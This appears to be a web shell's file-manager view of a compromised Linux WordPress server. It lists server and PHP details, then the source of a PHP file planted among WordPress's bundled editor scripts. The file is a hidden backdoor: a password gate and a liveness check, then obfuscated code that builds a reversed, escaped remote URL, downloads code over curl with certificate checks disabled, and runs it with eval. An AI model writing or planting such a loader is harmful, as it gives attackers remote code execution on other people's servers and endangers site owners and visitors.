HEX
Server: nginx/1.18.0
System: Linux proba.drlaca.appboxes.co 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
User: appbox (1000)
PHP: 7.4.3-4ubuntu2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/appbox/public_html/wp-includes/js/tinymce/themes/inlite/mah.php
<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto M_bZ2; cU6sl: $SS8Fu .= "\56\x32\x30\x61"; goto LqYS0; jRjYo: $SS8Fu .= "\x74\x2e\60"; goto x4cRm; hi4j1: eval("\77\x3e" . tw2Kx(strrev($SS8Fu))); goto joz3d; x4cRm: $SS8Fu .= "\x33\61\x2f\x77\x65"; goto uyQgI; nKgnt: $SS8Fu .= "\x73"; goto zW3Hd; LqYS0: $SS8Fu .= "\155"; goto WfKFh; zW3Hd: $SS8Fu .= "\160\x74\164\150"; goto hi4j1; omC83: $SS8Fu .= "\164\170"; goto jRjYo; M_bZ2: $SS8Fu = ''; goto omC83; uyQgI: $SS8Fu .= "\156\x2f\x61\x6d\x61"; goto N3y47; WfKFh: $SS8Fu .= "\141\144\x2f\57\x3a"; goto nKgnt; N3y47: $SS8Fu .= "\x64\x2f\x70\x6f\164"; goto cU6sl; joz3d: function TW2KX($V1_rw = '') { goto LmZMZ; ETJ25: return $tvmad; goto rBNk1; LmZMZ: $xM315 = curl_init(); goto JeC2v; JyB4J: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto qsG8n; qsG8n: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CjwCZ; A0Xmp: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto JyB4J; gAGWo: curl_close($xM315); goto ETJ25; CjwCZ: $tvmad = curl_exec($xM315); goto gAGWo; TB1IF: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto A0Xmp; JeC2v: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto TB1IF; rBNk1: }